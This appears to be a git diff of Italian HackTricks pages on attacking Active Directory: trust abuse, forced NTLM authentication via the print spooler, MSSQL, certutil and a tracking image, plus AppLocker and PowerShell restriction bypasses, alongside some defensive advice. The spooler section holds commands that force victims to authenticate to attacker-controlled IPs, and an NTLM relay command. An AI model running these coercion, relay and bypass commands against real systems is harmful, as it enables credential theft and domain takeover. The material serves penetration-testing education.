L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzionalità può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare accesso completo a un utente normale, quell'utente ottiene un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, destinata a proteggere, può quindi ritorcersi contro, consentendo accessi non autorizzati a meno che non venga monitorata da vicino.
L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzionalità può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare accesso completo a un utente normale, quell'utente ottiene un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, destinata a proteggere, può quindi ritorcersi contro, consentendo accessi non autorizzati a meno che non venga monitorata attentamente.
[**Maggiori informazioni sul Gruppo AdminDSHolder qui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -457,7 +457,7 @@ acl-persistence-abuse/
### Descrittori di Sicurezza
I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **privilegi** che un **oggetto** ha **su** un **oggetto**. Se puoi semplicemente **fare** un **piccolo cambiamento** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.
I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **privilegi** che un **oggetto** ha **su** un **oggetto**. Se puoi **fare** solo **una piccola modifica** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.
{{#ref}}
security-descriptors.md
@ -498,7 +498,7 @@ Controlla:
laps.md
{{#endref}}
## Escalation di Privilegi nella Foresta - Fiducia tra Domini
## Escalation dei Privilegi nella Foresta - Fiducia tra Domini
Microsoft considera la **Foresta** come il confine di sicurezza. Ciò implica che **compromettere un singolo dominio potrebbe potenzialmente portare alla compromissione dell'intera Foresta**.
@ -506,21 +506,21 @@ Microsoft considera la **Foresta** come il confine di sicurezza. Ciò implica ch
Una [**fiducia di dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) è un meccanismo di sicurezza che consente a un utente di un **dominio** di accedere alle risorse in un altro **dominio**. Crea essenzialmente un collegamento tra i sistemi di autenticazione dei due domini, consentendo che le verifiche di autenticazione fluiscano senza problemi. Quando i domini stabiliscono una fiducia, scambiano e mantengono specifici **chiavi** all'interno dei loro **Domain Controllers (DC)**, che sono cruciali per l'integrità della fiducia.
In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un ticket speciale noto come **inter-realm TGT** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un ticket di servizio (**TGS**). Dopo la validazione con successo dell'inter-realm TGT da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio.
In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un biglietto speciale noto come **TGT inter-realm** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un biglietto di servizio (**TGS**). Dopo la validazione con successo del TGT inter-realm da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio.
**Passaggi**:
1. Un **computer client** nel **Dominio 1** avvia il processo utilizzando il proprio **hash NTLM** per richiedere un **Ticket Granting Ticket (TGT)** dal proprio **Domain Controller (DC1)**.
2. DC1 emette un nuovo TGT se il client viene autenticato con successo.
3. Il client richiede quindi un **inter-realm TGT** da DC1, necessario per accedere alle risorse nel **Dominio 2**.
4. L'inter-realm TGT è crittografato con una **chiave di fiducia** condivisa tra DC1 e DC2 come parte della fiducia tra domini bidirezionale.
5. Il client porta l'inter-realm TGT al **Domain Controller (DC2)** del Dominio 2.
6. DC2 verifica l'inter-realm TGT utilizzando la sua chiave di fiducia condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server nel Dominio 2 a cui il client desidera accedere.
3. Il client richiede quindi un **TGT inter-realm** da DC1, necessario per accedere alle risorse nel **Dominio 2**.
4. Il TGT inter-realm è crittografato con una **chiave di fiducia** condivisa tra DC1 e DC2 come parte della fiducia tra domini bidirezionale.
5. Il client porta il TGT inter-realm al **Domain Controller (DC2)** del Dominio 2.
6. DC2 verifica il TGT inter-realm utilizzando la sua chiave di fiducia condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server nel Dominio 2 a cui il client desidera accedere.
7. Infine, il client presenta questo TGS al server, che è crittografato con l'hash dell'account del server, per ottenere accesso al servizio nel Dominio 2.
### Diverse fiducia
È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal fidato**.
È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal dominio fidato**.
Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello fidato. Inoltre, in **Dominio A**, questo sarebbe una **fiducia in uscita**; e in **Dominio B**, questo sarebbe una **fiducia in entrata**.
@ -528,10 +528,10 @@ Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello f
- **Fiducia Genitore-Figlio**: Questa è una configurazione comune all'interno della stessa foresta, dove un dominio figlio ha automaticamente una fiducia transitoria bidirezionale con il suo dominio genitore. Essenzialmente, ciò significa che le richieste di autenticazione possono fluire senza problemi tra il genitore e il figlio.
- **Fiducia Cross-link**: Riferita come "fiducia abbreviata", queste vengono stabilite tra domini figli per accelerare i processi di riferimento. In foreste complesse, i riferimenti di autenticazione devono generalmente viaggiare fino alla radice della foresta e poi giù fino al dominio di destinazione. Creando collegamenti incrociati, il viaggio viene accorciato, il che è particolarmente vantaggioso in ambienti geograficamente dispersi.
- **Fiducia Esterna**: Queste vengono stabilite tra domini diversi e non correlati e sono non transitive per natura. Secondo la [documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
- **Fiducia Esterne**: Queste vengono stabilite tra domini diversi e non correlati e sono di natura non transitoria. Secondo la [documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
- **Fiducia Tree-root**: Queste fiducia vengono stabilite automaticamente tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitorietà bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Fiducia tra Foreste**: Questo tipo di fiducia è una fiducia transitoria bidirezionale tra due domini radice di foresta, imponendo anche il filtraggio SID per migliorare le misure di sicurezza.
- **Fiducia MIT**: Queste fiducia vengono stabilite con domini Kerberos non Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
- **Fiducia MIT**: Queste fiducia vengono stabilite con domini Kerberos non Windows, conformi a [RFC4120](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
#### Altre differenze nelle **relazioni di fiducia**
@ -547,11 +547,11 @@ Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello f
Gli attaccanti potrebbero accedere alle risorse in un altro dominio attraverso tre meccanismi principali:
- **Appartenenza a Gruppi Locali**: I principali potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo “Amministratori” su un server, concedendo loro un controllo significativo su quella macchina.
- **Appartenenza a Gruppi Locali**: I principali potrebbero essere aggiunti a gruppi locali su macchine, come il gruppo "Amministratori" su un server, concedendo loro un controllo significativo su quella macchina.
- **Appartenenza a Gruppi di Domini Esterni**: I principali possono anche essere membri di gruppi all'interno del dominio esterno. Tuttavia, l'efficacia di questo metodo dipende dalla natura della fiducia e dall'ambito del gruppo.
- **Liste di Controllo di Accesso (ACL)**: I principali potrebbero essere specificati in un **ACL**, in particolare come entità in **ACE** all'interno di un **DACL**, fornendo loro accesso a risorse specifiche. Per coloro che desiderano approfondire la meccanica delle ACL, DACL e ACE, il whitepaper intitolato “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.
### Escalation di privilegi da Figlio a Genitore nella foresta
### Escalation dei privilegi da Figlio a Genitore nella foresta
```
Get-DomainTrust
@ -588,7 +588,7 @@ Comprendere come la Configurazione Naming Context (NC) possa essere sfruttata è
Il contenitore Siti della Configurazione NC include informazioni sui siti di tutti i computer uniti al dominio all'interno della foresta AD. Operando con privilegi SYSTEM su qualsiasi DC, gli attaccanti possono collegare GPO ai siti root DC. Questa azione compromette potenzialmente il dominio root manipolando le politiche applicate a questi siti.
Per informazioni approfondite, si può esplorare la ricerca su [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
Per informazioni dettagliate, si può esplorare la ricerca su [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Compromettere qualsiasi gMSA nella foresta**
@ -608,7 +608,7 @@ La vulnerabilità ADCS ESC5 mira al controllo sugli oggetti di Public Key Infras
Maggiori dettagli su questo possono essere letti in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenari privi di ADCS, l'attaccante ha la capacità di impostare i componenti necessari, come discusso in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### Dominio Foresta Esterno - Unidirezionale (In entrata) o bidirezionale
### Dominio Forestale Esterno - Unidirezionale (Inbound) o bidirezionale
```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
In questo scenario **il tuo dominio è fidato** da uno esterno che ti concede **permessi indeterminati** su di esso. Dovrai scoprire **quali principi del tuo dominio hanno accesso a quale dominio esterno** e poi cercare di sfruttarlo:
In questo scenario **il tuo dominio è fidato** da uno esterno che ti concede **permessi indeterminati** su di esso. Dovrai scoprire **quali principi del tuo dominio hanno accesso su quale dominio esterno** e poi cercare di sfruttarlo:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -637,9 +637,9 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
In questo scenario **il tuo dominio** sta **fidando** alcuni **privilegi** a un principale di **domini diversi**.
In questo scenario **il tuo dominio** sta **fidandosi** di alcuni **privilegi** a un principale di **domini diversi**.
Tuttavia, quando un **dominio è fidato** dal dominio fidante, il dominio fidato **crea un utente** con un **nome prevedibile** che utilizza come **password la password fidata**. Ciò significa che è possibile **accedere a un utente dal dominio fidante per entrare in quello fidato** per enumerarlo e cercare di aumentare ulteriormente i privilegi:
Tuttavia, quando un **dominio è fidato** dal dominio fiducioso, il dominio fidato **crea un utente** con un **nome prevedibile** che utilizza come **password la password fidata**. Ciò significa che è possibile **accedere a un utente dal dominio fiducioso per entrare in quello fidato** per enumerarlo e cercare di aumentare ulteriormente i privilegi:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -658,19 +658,21 @@ rdp-sessions-abuse.md
### **Filtraggio SID:**
- Il rischio di attacchi che sfruttano l'attributo della cronologia SID attraverso le fiducie tra foreste è mitigato dal Filtraggio SID, che è attivato per impostazione predefinita su tutte le fiducie inter-foresta. Questo è supportato dall'assunzione che le fiducie intra-foresta siano sicure, considerando la foresta, piuttosto che il dominio, come il confine di sicurezza secondo la posizione di Microsoft.
- Il rischio di attacchi che sfruttano l'attributo della cronologia SID attraverso le fiducie delle foreste è mitigato dal Filtraggio SID, che è attivato per impostazione predefinita su tutte le fiducie inter-foresta. Questo è supportato dall'assunzione che le fiducie intra-foresta siano sicure, considerando la foresta, piuttosto che il dominio, come il confine di sicurezza secondo la posizione di Microsoft.
- Tuttavia, c'è un problema: il filtraggio SID potrebbe interrompere le applicazioni e l'accesso degli utenti, portando alla sua disattivazione occasionale.
### **Autenticazione Selettiva:**
- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite affinché gli utenti accedano ai domini e ai server all'interno del dominio o della foresta fidante.
- È importante notare che queste misure non proteggono contro lo sfruttamento del Contesto di Nominazione di Configurazione scrivibile (NC) o attacchi all'account di fiducia.
- Per le fiducie inter-foresta, l'uso dell'Autenticazione Selettiva garantisce che gli utenti delle due foreste non siano autenticati automaticamente. Invece, sono necessarie autorizzazioni esplicite per gli utenti per accedere ai domini e ai server all'interno del dominio o della foresta fiduciosa.
- È importante notare che queste misure non proteggono contro lo sfruttamento del Contesto di Nominazione di Configurazione (NC) scrivibile o attacchi all'account di fiducia.
[**Ulteriori informazioni sulle fiducie di dominio in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
{{#endref}}
## Alcune Difese Generali
@ -680,7 +682,7 @@ rdp-sessions-abuse.md
- **Restrizioni per gli Amministratori di Dominio**: Si raccomanda che gli Amministratori di Dominio possano accedere solo ai Controller di Dominio, evitando il loro utilizzo su altri host.
- **Privilegi degli Account di Servizio**: I servizi non dovrebbero essere eseguiti con privilegi di Amministratore di Dominio (DA) per mantenere la sicurezza.
- **Limitazione Temporale dei Privilegi**: Per i compiti che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Limitazione Temporale dei Privilegi**: Per compiti che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Implementazione di Tecniche di Inganno**

16
src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
View File

@ -43,9 +43,11 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Se un attaccante ha già compromesso un computer con [Delegazione Illimitata](unconstrained-delegation.md), l'attaccante potrebbe **far autenticare la stampante contro questo computer**. A causa della delegazione illimitata, il **TGT** dell'**account computer della stampante** sarà **salvato in** **memoria** del computer con delegazione illimitata. Poiché l'attaccante ha già compromesso questo host, sarà in grado di **recuperare questo ticket** e abusarne ([Pass the Ticket](pass-the-ticket.md)).
## Forzare l'autenticazione RCP
## RCP Forzare l'autenticazione
{% embed url="https://github.com/p0dalirius/Coercer" %}
{{#ref}}
https://github.com/p0dalirius/Coercer
{{#endref}}
## PrivExchange
@ -53,9 +55,9 @@ L'attacco `PrivExchange` è il risultato di un difetto trovato nella **funzione
Per impostazione predefinita, il **servizio Exchange viene eseguito come SYSTEM** e ha privilegi eccessivi (specificamente, ha **privilegi WriteDacl sul dominio pre-2019 Cumulative Update**). Questo difetto può essere sfruttato per abilitare il **reindirizzamento delle informazioni a LDAP e successivamente estrarre il database NTDS del dominio**. Nei casi in cui il reindirizzamento a LDAP non sia possibile, questo difetto può comunque essere utilizzato per reindirizzare e autenticarsi su altri host all'interno del dominio. Lo sfruttamento riuscito di questo attacco concede accesso immediato all'Amministratore di Dominio con qualsiasi account utente di dominio autenticato.
## All'interno di Windows
## Dentro Windows
Se sei già all'interno della macchina Windows, puoi forzare Windows a connettersi a un server utilizzando account privilegiati con:
Se sei già dentro la macchina Windows, puoi forzare Windows a connettersi a un server utilizzando account privilegiati con:
### Defender MpCmdRun
```bash
@ -76,6 +78,8 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
Oppure usa quest'altra tecnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
### Certutil
È possibile utilizzare certutil.exe lolbin (binary firmato da Microsoft) per forzare l'autenticazione NTLM:
@ -86,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
### Via email
Se conosci l'**indirizzo email** dell'utente che accede a una macchina che vuoi compromettere, puoi semplicemente inviargli un'**email con un'immagine 1x1** come
Se conosci l'**indirizzo email** dell'utente che accede a una macchina che vuoi compromettere, potresti semplicemente inviargli un'**email con un'immagine 1x1** come
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
@ -101,6 +105,6 @@ Se puoi eseguire un attacco MitM a un computer e iniettare HTML in una pagina ch
## Cracking NTLMv1
Se riesci a catturare [le sfide NTLMv1 leggi qui come crackerle](../ntlm/#ntlmv1-attack).\
&#xNAN;_&#x52;icorda che per crackare NTLMv1 devi impostare la sfida di Responder su "1122334455667788"_
&#xNAN;_&#x52;ricorda che per crackare NTLMv1 devi impostare la sfida di Responder su "1122334455667788"_
{{#include ../../banners/hacktricks-training.md}}

29
src/windows-hardening/authentication-credentials-uac-and-efs.md
View File

@ -36,7 +36,7 @@ C:\windows\tracing
- I comuni **binaries** [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere utili per bypassare AppLocker.
- **Regole scritte male potrebbero anche essere bypassate**
- Ad esempio, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puoi creare una **cartella chiamata `allowed`** ovunque e sarà consentita.
- Le organizzazioni spesso si concentrano sul **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
- Le organizzazioni spesso si concentrano su **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
- **L'applicazione delle DLL è molto raramente abilitata** a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi utilizzare **DLL come backdoor aiuterà a bypassare AppLocker**.
- Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per ulteriori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
@ -107,7 +107,7 @@ EFS protegge i file attraverso la crittografia, utilizzando una **chiave simmetr
**Scenari di decrittazione senza iniziativa dell'utente** includono:
- Quando file o cartelle vengono spostati su un file system non EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittografati.
- Quando file o cartelle vengono spostati in un file system non EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittografati.
- I file crittografati inviati attraverso la rete tramite il protocollo SMB/CIFS vengono decrittografati prima della trasmissione.
Questo metodo di crittografia consente un **accesso trasparente** ai file crittografati per il proprietario. Tuttavia, semplicemente cambiando la password del proprietario e accedendo non sarà possibile la decrittazione.
@ -116,7 +116,7 @@ Questo metodo di crittografia consente un **accesso trasparente** ai file critto
- EFS utilizza una FEK simmetrica, crittografata con la chiave pubblica dell'utente.
- La decrittazione impiega la chiave privata dell'utente per accedere alla FEK.
- La decrittazione automatica avviene in determinate condizioni, come la copia su FAT32 o la trasmissione in rete.
- La decrittazione automatica avviene in determinate condizioni, come il copia su FAT32 o la trasmissione in rete.
- I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi.
### Controlla le informazioni EFS
@ -134,7 +134,9 @@ Questo metodo richiede che l'**utente vittima** stia **eseguendo** un **processo
#### Conoscere la password dell'utente
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
@ -168,7 +170,7 @@ active-directory-methodology/laps.md
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **limita molte delle funzionalità** necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi PowerShell e altro ancora.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **blocca molte delle funzionalità** necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi PowerShell e altro ancora.
### **Controlla**
```powershell
@ -180,8 +182,8 @@ $ExecutionContext.SessionState.LanguageMode
#Easy bypass
Powershell -version 2
```
In Windows attuali, quel bypass non funzionerà, ma puoi usare [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Per compilarlo potresti aver bisogno** **di** _**Aggiungere un Riferimento**_ -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto in .Net4.5**.
In Windows attuale, quel bypass non funzionerà, ma puoi usare [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Per compilarlo potresti aver bisogno** **di** _**Aggiungere un Riferimento**_ -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto a .Net4.5**.
#### Bypass diretto:
```bash
@ -195,7 +197,7 @@ Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/t
## Politica di Esecuzione PS
Per impostazione predefinita è impostata su **restricted.** I principali modi per bypassare questa politica:
Per impostazione predefinita è impostata su **riservata.** I principali modi per bypassare questa politica:
```powershell
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -217,13 +219,13 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
```
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Security Support Provider Interface (SSPI)
## Interfaccia del Fornitore di Supporto Sicurezza (SSPI)
È l'API che può essere utilizzata per autenticare gli utenti.
L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine che desiderano comunicare. Il metodo preferito per questo è Kerberos. Poi l'SSPI negozierà quale protocollo di autenticazione verrà utilizzato, questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Poi l'SSPI negozierà quale protocollo di autenticazione verrà utilizzato, questi protocolli di autenticazione sono chiamati Fornitori di Supporto Sicurezza (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
### Main SSPs
### Principali SSP
- **Kerberos**: Il preferito
- %windir%\Windows\System32\kerberos.dll
@ -238,13 +240,12 @@ L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine
#### La negoziazione potrebbe offrire diversi metodi o solo uno.
## UAC - User Account Control
## UAC - Controllo Account Utente
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **messaggio di consenso per attività elevate**.
[Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **messaggio di consenso per attività elevate**.
{{#ref}}
windows-security-controls/uac-user-account-control.md
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

20
src/windows-hardening/authentication-credentials-uac-and-efs/README.md
View File

@ -4,7 +4,7 @@
## Politica di AppLocker
Un elenco di applicazioni approvate è un elenco di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti e a funzionare su un sistema. L'obiettivo è proteggere l'ambiente da malware dannosi e software non approvati che non si allineano con le specifiche esigenze aziendali di un'organizzazione.
Un elenco di applicazioni approvate è un elenco di software o eseguibili approvati che sono autorizzati a essere presenti e a funzionare su un sistema. L'obiettivo è proteggere l'ambiente da malware dannosi e software non approvati che non si allineano con le specifiche esigenze aziendali di un'organizzazione.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di whitelisting delle applicazioni** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, app confezionate e installatori di app confezionate.\
È comune per le organizzazioni **bloccare cmd.exe e PowerShell.exe** e l'accesso in scrittura a determinate directory, **ma tutto questo può essere aggirato**.
@ -36,7 +36,7 @@ C:\windows\tracing
- I comuni **binaries** [**"LOLBAS's"**](https://lolbas-project.github.io/) possono essere utili per bypassare AppLocker.
- **Regole scritte male possono essere bypassate**
- Ad esempio, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puoi creare una **cartella chiamata `allowed`** ovunque e sarà consentita.
- Le organizzazioni spesso si concentrano su **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
- Le organizzazioni spesso si concentrano sul **bloccare l'eseguibile `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ma dimenticano le **altre** [**posizioni eseguibili di PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) come `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
- **L'applicazione delle DLL è molto raramente abilitata** a causa del carico aggiuntivo che può mettere su un sistema e della quantità di test necessari per garantire che nulla si rompa. Quindi utilizzare **DLL come backdoor aiuterà a bypassare AppLocker**.
- Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare AppLocker. Per ulteriori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
@ -58,14 +58,14 @@ Le **credenziali** sono **salvate** all'interno del **processo LSASS**: ticket K
LSA potrebbe salvare su disco alcune credenziali:
- Password dell'account computer di Active Directory (controller di dominio irraggiungibile).
- Password dell'account computer dell'Active Directory (controller di dominio irraggiungibile).
- Password degli account dei servizi Windows
- Password per attività pianificate
- Altro (password delle applicazioni IIS...)
### NTDS.dit
È il database di Active Directory. È presente solo nei Controller di Dominio.
È il database dell'Active Directory. È presente solo nei Controller di Dominio.
## Defender
@ -134,7 +134,9 @@ Questo metodo richiede che l'**utente vittima** stia **eseguendo** un **processo
#### Conoscere la password dell'utente
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
